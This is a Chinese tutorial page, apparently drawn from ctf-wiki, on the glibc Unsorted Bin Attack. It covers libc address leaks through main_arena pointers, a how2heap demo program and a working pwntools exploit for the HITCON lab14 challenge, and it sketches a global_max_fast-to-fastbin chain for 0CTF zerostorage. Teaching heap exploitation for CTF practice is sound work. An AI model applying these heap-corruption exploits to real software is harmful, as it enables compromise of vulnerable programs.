ctf-wiki 堆利用实战:Unsorted Bin Attack 原理、libc 泄漏与题目攻防 文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载本文围绕 ctf-wiki 堆利用系列中的 Unsorted Bin Attack 展开系统讲解 glibc ptmalloc2 中 Unsorted Bin 的链表机制、基于bk指针覆写的任意地址写大数攻击原理并给出 libc 基址泄漏Unsorted Bin Leak、how2heap 演示程序与 HITCON Training lab14、0CTF 2016 zerostorage 两道实战题目的完整利用思路。读完本文你将掌握 Unsorted Bin Attack 的触发条件、bk覆写时机的精确定位以及如何把该技术作为前置手段串联起 Fastbin Attack 等后续攻击链。Unsorted Bin 回顾来源与使用规则Unsorted Bin Attack 的名字直白地揭示了它与 glibc 堆管理中 Unsorted Bin 机制的紧密关系。要理解攻击首先要回答两个问题Unsorted Bin 中的 chunk 从哪里来分配时又如何被取用基本来源按照 glibc 的注释与 ctf-wiki 中 heap-structure.md 的归纳Unsorted Bin 中的空闲 chunk 主要来自三个渠道大 chunk 分割的剩余部分当一个较大的 chunk 被分割成两半后如果剩下的部分大于MINSIZE就会被放入 Unsorted Bin释放非 fastbin 且不与 top chunk 紧邻的 chunk释放一个不属于 fast bin 范围的 chunk并且该 chunk 不和 top chunk 紧邻时该 chunk 会首先被放到 Unsorted Bin 中若紧邻 top chunk 则会直接合并进 top chunkmalloc_consolidate 合并产物当进行malloc_consolidate时fastbin 中可能合并的 chunk 会被取出合并如果合并后的 chunk 不和 top chunk 近邻就会被放进 Unsorted Bin。这一缓冲区设计在 implementation/malloc.md 与 implementation/free.md 的源码分析中可以互相印证_int_free中释放普通非 fastbin、非 mmapchunk 并完成前后向合并后会把合并结果插入 Unsorted Bin 链表头部malloc_consolidate合并 fastbin 后同样以unsorted_bin-fd头插法放入 Unsorted Bin。这正是 glibc 注释所述All remainders from chunk splits, as well as all returned chunks, are first placed in the unsorted bin.基本使用情况FIFO 遍历顺序Unsorted Bin 在使用的过程中采用 FIFO 策略插入时插入到 Unsorted Bin 的头部取出时从链表尾获取。这与 fastbin 的 LIFO 策略形成鲜明对比具体遍历方向在_int_malloc中体现为while ((victim unsorted_chunks(av)-bk) ! unsorted_chunks(av))即沿bk方向取链表尾。分配时的流转在程序 malloc 时如果在 fastbin、small bin 中找不到对应大小的 chunk就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足exact fit就会直接返回给用户否则这些 chunk 会被分别插入到对应的 small bin 或 large bin 中等待后续使用。理解从链表尾取、往链表头插这条 FIFO 规则是理解后面bk覆写为何能奏效的关键前提。详细的分发代码流程small request 的 last remainder 特判、exact fit 直接返回、非精确匹配归入 small/large bin 等可进一步阅读 implementation/malloc.md。Unsorted Bin Leak借助链表指针绕过 ASLR在介绍攻击本身之前先介绍一个与之配套的小 trickUnsorted Bin Leak。很多堆利用题目都会先通过它完成地址泄漏。Unsorted Bin 的结构Unsorted Bin在管理时为循环双向链表。若 Unsorted Bin 中有两个 bin实际语义为两个空闲 chunk链表结构如下下面这张图是上述结构在 gdb 调试时的复现从两张图中可以看到一个关键事实在该链表中必有一个节点不准确地说是尾节点——毕竟循环链表实际上没有头尾之分的fd指针会指向main_arena结构体内部。main_arena是struct malloc_state类型的全局变量是 ptmalloc 管理主分配区main arena的唯一实例。它位于 libc.so 的数据段main_arena并不在申请的 heap 中这一点在 heap-structure.md 的宏观结构一节有明确说明。在 leak-heap.md 中同样演示了这一手法将 chunk 释放进 Unsorted Bin 后fd/bk会写入main_arena相关地址如0x7ffff7dd1b78从而反推 libc 基址与堆基址。Leak 原理如果我们能把正确的fd指针 leak 出来就能获得一个与main_arena有固定偏移的地址这个偏移可以通过调试得出。main_arena是全局变量会被分配在.data或.bss等段上——只要我们拥有进程所使用的 libc.so文件就可以计算出main_arena与 libc 基地址的偏移实现对 ASLR 的绕过。那么如何取得main_arena与 libc 基址的偏移呢这里提供两种思路。通过 __malloc_trim 函数得出在malloc.c中有这样一段代码int __malloc_trim (size_t s) { int result 0; if (__malloc_initialized 0) ptmalloc_init (); mstate ar_ptr main_arena;//here! do { __libc_lock_lock (ar_ptr-mutex); result | mtrim (ar_ptr, s); __libc_lock_unlock (ar_ptr-mutex); ar_ptr ar_ptr-next; } while (ar_ptr ! main_arena); return result; }注意到mstate ar_ptr main_arena;这一行直接对main_arena取址所以我们可以借助 IDA 等工具分析出偏移。例如把 libc.so文件丢进 IDA定位malloc_trim函数即可读出main_arena相对基址的偏移截图见 figure/malloc-trim-ida.png。这是最通用、不依赖具体符号表细节的做法。通过 __malloc_hook 直接算出比较巧合的是main_arena和__malloc_hook的地址差是0x10而大多数 libc 都可以直接查出__malloc_hook的地址这样可以大幅减小工作量。以 pwntools 为例main_arena_offset ELF(libc.so.6).symbols[__malloc_hook] 0x10这样一行代码即可获得main_arena与基地址的偏移。实现 Leak 的方法一般来说要实现 leak 需要存在UAFUse After Free将一个 chunk 放入 Unsorted Bin 后再把它处于空闲链表上的fd打印出来。常见的笔记管理note/menu类题目都会有show功能对处于链表尾的节点show就可以获得 libc 的基地址。需要注意两点实践细节堆刚初始化时的场景CTF 中的利用场景下堆往往是刚刚初始化的Unsorted Bin 一般是干净的。当里面只存在一个 chunk 时该 chunk 的fd和bk都会指向main_arena内部这正对应 free.md 中插入 Unsorted Bin 的代码bck unsorted_chunks(av); fwd bck-fd; p-fd fwd; p-bk bck; bck-fd p; fwd-bk p;链表只有一个节点时其fd、bk均指向 bin 头而 bin 头就在main_arena里。32 位与 64 位的输出差异如果我们无法访问链表尾只能访问链表头那么在 32 位环境下对链表头进行printf等操作往往可以把fd和bk一起输出出来同样可以实现有效 leak。然而在 64 位下由于高地址往往为\x00很多输出函数会在此截断此时可能难以实现有效 leak。Unsorted Bin Attack 原理覆写 bk 实现任意地址写大数攻击的触发点在 glibcmalloc.c的_int_malloc中当把一个 chunk 从 Unsorted Bin 取出时会执行如下代码/* remove from unsorted list */ if (__glibc_unlikely (bck-fd ! victim)) malloc_printerr (malloc(): corrupted unsorted chunks 3); unsorted_chunks (av)-bk bck; bck-fd unsorted_chunks (av);换而言之如果我们控制了bk的值就能将unsorted_chunks (av)即 Unsorted Bin 链表头位于main_arena内部的一个地址值写到任意地址。这就是 Unsorted Bin Attack 的实质攻击的前提是能控制 Unsorted Bin 中某个 chunk 的bk指针攻击的效果是实现修改任意地址的值为一个较大的数值。这里以 shellphish 的 how2heap 仓库中unsorted_bin_attack.c为例做了一些简单修改以便独立运行#include stdio.h #include stdlib.h int main() { fprintf(stderr, This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n); fprintf( stderr, In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack\n\n); unsigned long target_var 0; fprintf(stderr, Lets first look at the target we want to rewrite on stack:\n); fprintf(stderr, %p: %ld\n\n, target_var, target_var); unsigned long *p malloc(400); fprintf(stderr, Now, we allocate first normal chunk on the heap at: %p\n, p); fprintf(stderr, And allocate another normal chunk in order to avoid consolidating the top chunk with the first one during the free()\n\n); malloc(500); free(p); fprintf(stderr, We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to %p\n, (void *)p[1]); /*------------VULNERABILITY-----------*/ p[1] (unsigned long)(target_var - 2); fprintf(stderr, Now emulating a vulnerability that can overwrite the victim-bk pointer\n); fprintf(stderr, And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n, (void *)p[1]); //------------------------------------ malloc(400); fprintf(stderr, Lets malloc again to get the chunk we just free. During this time, target should has already been rewrite:\n); fprintf(stderr, %p: %p\n, target_var, (void *)target_var); }程序执行后的效果为➜ unsorted_bin_attack git:(master) ✗ gcc unsorted_bin_attack.c -o unsorted_bin_attack ➜ unsorted_bin_attack git:(master) ✗ ./unsorted_bin_attack This file demonstrates unsorted bin attack by write a large unsigned long value into stack In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack Lets first look at the target we want to rewrite on stack: 0x7ffe0d232518: 0 Now, we allocate first normal chunk on the heap at: 0x1fce010 And allocate another normal chunk in order to avoid consolidating the top chunk withthe first one during the free() We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7f1c705ffb78 Now emulating a vulnerability that can overwrite the victim-bk pointer And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7ffe0d232508 Lets malloc again to get the chunk we just free. During this time, target should has already been rewrite: 0x7ffe0d232518: 0x7f1c705ffb78逐步推演攻击流程下面用一张流程图描述具体发生的操作以及背后的原理初始状态时Unsorted Bin 的fd和bk均指向 Unsorted Bin 本身。执行 free(p)由于释放的 chunk 大小不属于 fast bin 范围所以会首先放入到 Unsorted Bin 中同时已用malloc(500)隔开了 top chunk避免 free 时直接合并进 top。修改 p[1]经过修改之后原来在 Unsorted Bin 中的 p 的bk指针就会指向target addr-16处伪造的 chunk即Target Value 处于伪造 chunk 的 fd 处。申请 400 大小的 chunk此时所申请的 chunk 处于 small bin 所在的范围其对应的 bin 中暂时没有 chunk所以会去 Unsorted Bin 中找发现 Unsorted Bin 不空于是把 Unsorted Bin 中的最后一个 chunk 拿出来。对应的_int_malloc关键代码节选自 implementation/malloc.md如下while ((victim unsorted_chunks(av)-bk) ! unsorted_chunks(av)) { bck victim-bk; if (__builtin_expect(chunksize_nomask(victim) 2 * SIZE_SZ, 0) || __builtin_expect(chunksize_nomask(victim) av-system_mem, 0)) malloc_printerr(check_action, malloc(): memory corruption, chunk2mem(victim), av); size chunksize(victim); /* If a small request, try to use last remainder if it is the only chunk in unsorted bin. This helps promote locality for runs of consecutive small requests. This is the only exception to best-fit, and applies only when there is no exact fit for a small chunk. */ /* 显然bck被修改并不符合这里的要求*/ if (in_smallbin_range(nb) bck unsorted_chunks(av) victim av-last_remainder (unsigned long) (size) (unsigned long) (nb MINSIZE)) { .... } /* remove from unsorted list */ unsorted_chunks(av)-bk bck; bck-fd unsorted_chunks(av);逐行梳理victim unsorted_chunks(av)-bk p之后的赋值过程victim unsorted_chunks(av)-bk pbck victim-bk p-bk target addr-16unsorted_chunks(av)-bk bck target addr-16bck-fd *(target addr - 16 16) unsorted_chunks(av)。可以看出在将 Unsorted Bin 的最后一个 chunk 拿出来的过程中victim 的fd并没有发挥作用所以即使我们修改其为不合法值也没有关系。但需要警惕的是经过这次操作 Unsorted Bin 链表可能就此被破坏unsorted_chunks(av)-bk被指向了一个伪造地址后续再向 Unsorted Bin 插入 chunk 时可能会出现问题。最终效果即修改 target 处的值为 Unsorted Bin 的链表头地址上述输出中的0x7f1c705ffb78We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7f1c705ffb78 Now emulating a vulnerability that can overwrite the victim-bk pointer And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7ffe0d232508 Lets malloc again to get the chunk we just free. During this time, target should has already been rewrite: 0x7ffe0d232518: 0x7f1c705ffb78攻击的局限与典型用途这里可以看到Unsorted Bin Attack 确实可以修改任意地址的值但所修改成的值不受我们控制——它是unsorted_chunks(av)这个固定地址值唯一能确定的是这个值比较大。因此它不能像 Fastbin Attack 那样实现任意地址写任意值而只能把目标地址写成一个较大的 libc 地址。尽管如此它在攻击链中依然有重要价值典型用途有修改循环次数通过把循环计数变量改写成一个巨大数值使得程序可以执行多次循环从而获得更多交互与利用机会改写 global_max_fast修改 heap 中的global_max_fast全局变量使更大的 chunk 可以被视为 fast bin从而为后续的Fastbin Attack铺路。改写后原本超出 fastbin 范围的大 chunk 也能进入 fastbin 链表管理配合 fastbin 的单链表机制详见 fastbin-attack.md实现任意地址分配。实战一HITCON Training lab14 magic heap题目来自 HITCON Training lab14仓库 ctf-challenges 对应目录。为了便于本地验证这里修改一下源程序中的l33t函数使其可以正常运行void l33t() { system(cat ./flag); }基本信息➜ hitcontraining_lab14 git:(master) file magicheap magicheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]9f84548d48f7baa37b9217796c2ced6e6281bb6f, not stripped ➜ hitcontraining_lab14 git:(master) checksec magicheap [*] /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/unsorted_bin_attack/hitcontraining_lab14/magicheap Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)可以看出该程序是一个动态链接的 64 位程序主要开启了 NX 保护与 Canary 保护且未开启 PIE程序基址固定magic全局变量地址可以直接硬编码。基本功能程序大概是自己实现的堆管理器主要有以下功能创建堆根据用户指定大小申请相应堆并且读入指定长度的内容但是并没有设置 NULL 结尾编辑堆根据指定的索引判断对应堆是不是非空如果非空就根据用户读入的大小来修改堆的内容——这里出现了任意长度堆溢出的漏洞删除堆根据指定的索引判断对应堆是不是非空如果非空就将对应堆释放并置为 NULL。同时我们看到当我们控制某个变量 v3 为4869同时控制全局变量magic大于4869就可以得到 flag 了。这正是 Unsorted Bin Attack 的用武之地我们无法控制写入值的大小但unsorted_chunks(av)这个地址值必然是一个巨大的正数满足magic 4869的判定条件。利用显然直接利用 Unsorted Bin Attack 即可步骤为释放一个堆块到 Unsorted Bin 中利用堆溢出漏洞修改 Unsorted Bin 中对应堆块的bk指针为magic - 16触发漏洞再申请一个同大小 chunk即可让magic被改写为 Unsorted Bin 链表头的地址从而满足magic 4869。代码如下#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * r process(./magicheap) def create_heap(size, content): r.recvuntil(:) r.sendline(1) r.recvuntil(:) r.sendline(str(size)) r.recvuntil(:) r.sendline(content) def edit_heap(idx, size, content): r.recvuntil(:) r.sendline(2) r.recvuntil(:) r.sendline(str(idx)) r.recvuntil(:) r.sendline(str(size)) r.recvuntil(:) r.sendline(content) def del_heap(idx): r.recvuntil(:) r.sendline(3) r.recvuntil(:) r.sendline(str(idx)) create_heap(0x20, dada) # 0 create_heap(0x80, dada) # 1 # in order not to merge into top chunk create_heap(0x20, dada) # 2 del_heap(1) magic 0x6020c0 fd 0 bk magic - 0x10 edit_heap(0, 0x20 0x20, a * 0x20 p64(0) p64(0x91) p64(fd) p64(bk)) create_heap(0x80, dada) #trigger unsorted bin attack r.recvuntil(:) r.sendline(4869) r.interactive()补充解读这段 exp 的细节create_heap(0x20)创建 chunk 0create_heap(0x80)创建 chunk 1chunk 1 的实际 chunk 大小为0x900x80 0x10头create_heap(0x20)创建 chunk 2 用于隔离防止释放 chunk 1 后与 top chunk 合并del_heap(1)释放 chunk 1使其进入 Unsorted Bin大小为0x91不属于 fastbin 范围且不与 top 紧邻edit_heap(0, 0x40, ...)利用 chunk 0 的堆溢出注意这里的菜单允许以任意长度修改内容覆盖 chunk 1 的 chunk 头p64(0)为 prev_sizep64(0x91)为 size随后依次覆盖fd置 0不影响攻击与bkmagic - 0x10即0x6020b0再次create_heap(0x80)触发 Unsorted Bin 的取块流程执行bck-fd unsorted_chunks(av)从而把magic位于0x6020c0恰为伪造 chunk 的 fd 位置改写为main_arena内部的地址值最后输入4869程序检查magic 4869通过执行l33t()输出 flag。注意bk填magic - 0x10即target - 16的原因bck-fd的写入位置是bck 1664 位下 chunk 头两个字段prev_sizesize共 16 字节要让写入落在magic上伪造的 chunk 起始地址必须比magic低 16 字节。实战二2016 0CTF zerostorage部分待完成注本小节对应原文档中待进一步完成的部分以下内容忠实保留原文档已分析完成的部分。这里以 2016 年 0CTF 的 zerostorage 为例进行介绍。该题当时给出了服务器的系统版本和内核版本可以下一模一样的版本进行调试但原文档同时指出在当时的 Ubuntu 16.04 中由于进一步的随机化libc 加载的位置与程序模块加载的位置之间的相对偏移不再固定部分旧策略如 BrieflyX 的策略无法再次使用似乎只能用 angelboy 的策略了。安全性检查可以看出该程序开启了所有的保护pwndbg checksec [*] /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/unsorted_bin_attack/zerostorage/zerostorage Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: EnabledFull RELRO 意味着无法直接改写 GOT 表攻击需要转向堆内的数据结构或 libc 中的全局变量如global_max_fast、__malloc_hook等。基本功能分析程序在 bss 段管理存储空间 storage具有插入insert、更新update、合并merge、删除delete、查看view、枚举list、退出功能。这个 storage 的结构体如下00000000 Storage struc ; (sizeof0x18, mappedto_7) 00000000 ; XREF: .bss:storage_list/r 00000000 use dq ? 00000008 size dq ? 00000010 xor_addr dq ? 00000018 Storage endsinsert-1基本功能如下逐一查看 storage 数组查找第一个未使用的元素但是这个数组最大也就是 32读取 storage 元素所需要存储内容的长度如果长度不大于 0直接退出否则如果申请的字节数小于 128就设置为 128否则如果申请的字节数不大于 4096就设置为对应的数值否则设置为 4096使用calloc分配指定长度注意calloc会初始化 chunk 为 0将calloc分配的内存地址与 bss 段的一个内存初始时刻为一个随机数进行异或得到一个新的内存地址即xor_addr字段根据读取的 storage 的大小读入内容将对应的 storage 的大小以及存储内容的地址保存到对应的 storage 元素中并标记该元素处于可用状态。但是需要注意的是这里记录的 storage 的大小是自己输入的大小递增 storage num 的数量。update-2如果没有任何存储就直接返回读入要更新的 storage 元素的 id如果 id 大于 31 或者目前不处于使用状态说明不对直接返回读取更新后storage 元素所需要存储内容的长度长度规则同上≤0 退出128 置 128≤4096 取原值否则置 4096根据 bss 段对应的随机数获取原先 storage 存储内容的地址如果更新后所需的长度不等于更新前的长度就使用realloc为其重新分配内存再次读取数据同时更新 storage 元素。merge-3如果正在使用的元素不大于 1 个那么无法合并直接退出即可判断 storage 是否已经满了如果不满找出空闲的那一块分别读取 merge_from 的 id 以及 merge_to 的 id 号并进行相应大小以及使用状态的检测根据最初用户输入的大小来计算两个 merge 到一起后所需要的空间如果不大于 128就不会申请新的空间否则就申请相应大小的新的空间依次将 merge_to 与 merge_from 的内容拷贝到相对应的位置最后存储 merge_from 内容的内存地址被释放了但并没有被置为 NULL。同时存放 merge_to 内容的内存地址并没有被释放相应的 storage 的异或后的地址只是被置为了 NULL。但是需要注意的是在 merge 的时候并没有检测两个 storage 的 ID 是否相同。delete-4如果没有存储任何元素那就直接返回读取指定要修改的 storage 元素的 id如果 id 大于 32就直接返回如果 storage 的对应元素并不在使用状态那么也同时返回之后就是将元素对应的字段分别设置为 NULL并且释放对应的内存。view-5如果没有存储任何元素那就直接返回读取指定要修改的 storage 元素的 id如果 id 大于 32就直接返回如果 storage 的对应元素并不在使用状态那么也同时返回输出对应的 storage 的内容。list-6如果没有存储任何元素那就直接返回读取指定要修改的 storage 元素的 id如果 id 大于 32就直接返回遍历所有正在使用的 storage输出其对应的下标以及对应 storage 的大小。漏洞确定通过上述分析可以基本确定漏洞主要就集中在 insert 操作与 merge 操作中尤其是当 merge 两个较小 size 的 storage 时会出现一些问题。具体分析如果在 insert 过程中插入较小的 size比如 8的 storage A那么当进行 merge 时假设选择 merge 的两个 storage 都为 A此时程序会直接把 A 的内容再添加到 A 的原有内容的后面然后接着把 A 对应的存储数据部分的内存 free 掉。但这并没有什么作用因为 A 存储内容的地址被赋给了另外一个 storage当再访问 merge 后的 storage B 部分的内容时由于 B 的存储数据部分的地址其实就是 A 对应的存储数据的地址所以打印的就是 A 的数据部分的内容。而我们刚刚把 A 对应的内存释放掉由于 A 不在 fast bin 范围内所以只会被放到 Unsorted Bin 中而且此时只有一个所以此时 A 的fd和bk存放的都是 Unsorted Bin 的一个基地址。如果我们在 merge 之前曾经删除过一个 storage C那么在 merge A 后A 就会插在 Unsorted Bin 的双向链表的首部所以其fd则是 C 对应的地址bk则是 Unsorted Bin 的一个基地址。这样我们就可以直接泄露两个地址。而且需要注意的是我们还是可以去修改 merge 后的 B 的内容的所以这其实就是个Use After Free。利用流程Unsorted Bin Attack利用 Unsorted Bin Attack 修改global_max_fast全局变量。由于global_max_fast是控制最大 Fast chunk 大小的变量将它改写为 Unsorted Bin 的地址一般来说是一个很大的正数就能使之后的 chunk 都被当作 fast chunk从而可以进行Fastbin AttackFast Bin Attack在global_max_fast被放大后配合 UAF 修改 fastbin 链表中 chunk 的fd指针即可将 chunk 分配到任意可写地址如__malloc_hook附近最终劫持控制流。关于 Fastbin Attack 的原理与各变种Double Free、House of Spirit、Alloc to Stack、Arbitrary Alloc可参考 fastbin-attack.md。该小节在原文档中标注为待进一步完成完整 exploit 的最终拼接one_gadget 的选择、global_max_fast覆写后 fastbin 链的精确构造留待读者结合题目附件与公开 writeup 思路继续推进。小结Unsorted Bin Attack 是 glibc 堆利用中一个小而巧的组件前提能够控制 Unsorted Bin 中某个 chunk 的bk指针通常借助堆溢出、UAF 等漏洞机制_int_malloc从 Unsorted Bin 取块时无条件执行bck-fd unsorted_chunks(av)使unsorted_chunks(av)这个较大的 libc 地址被写入bck 16处实现任意地址写大数威力虽然写值不可控但可以改写global_max_fast放大 fastbin 范围、改写循环计数延长交互次数从而串联 Fastbin Attack、House 系列等其他技术构成完整的攻击链配套配合 Unsorted Bin Leak泄漏fd/bk中的main_arena地址并换算 libc 基址可以同时解决 ASLR 绕过问题。与 Unsorted Bin 相关的更多底层机制unsorted_chunks(M) bin_at(M, 1)的宏定义、_int_free的头插法、_int_malloc的 FIFO 取块与 last remainder 特判等可以在 heap-structure.md、implementation/malloc.md、implementation/free.md 中继续深入阅读其余堆利用技巧Unlink、Fastbin Attack、House of Einherjar、House of Force 等位于 ptmalloc2 目录 下可对照学习形成体系。赞分享文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载相关推荐ctf-wiki 堆利用实战深入解析 Unsorted Bin Attack 的原理、Leak 技巧与完整利用流程ctf wiki 堆利用实战深入解析 Unsorted Bin Attack 的原理、Leak 技巧与完整利用流程 导读 Unsorted Bin Attac文档网络安全教程10分钟上手Flutter-Dribbble-Challenge新手友好的UI开发入门指南10分钟上手Flutter Dribbble Challenge新手友好的UI开发入门指南 Flutter Dribbble Challenge是一个基于Fl文档网络安全教程ctf-wiki 深入解析glibc ptmalloc2 Large Bin Attack 的原理与实战利用ctf wiki 深入解析glibc ptmalloc2 Large Bin Attack 的原理与实战利用 本文基于 ctf wiki 仓库中 Large文档网络安全教程上一篇atproto/ws-client 实战指南构建面向长连接场景的 WebSocket 异步迭代客户端下一篇Newt连接失败的5个排错技巧隧道不通问题排查指南创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考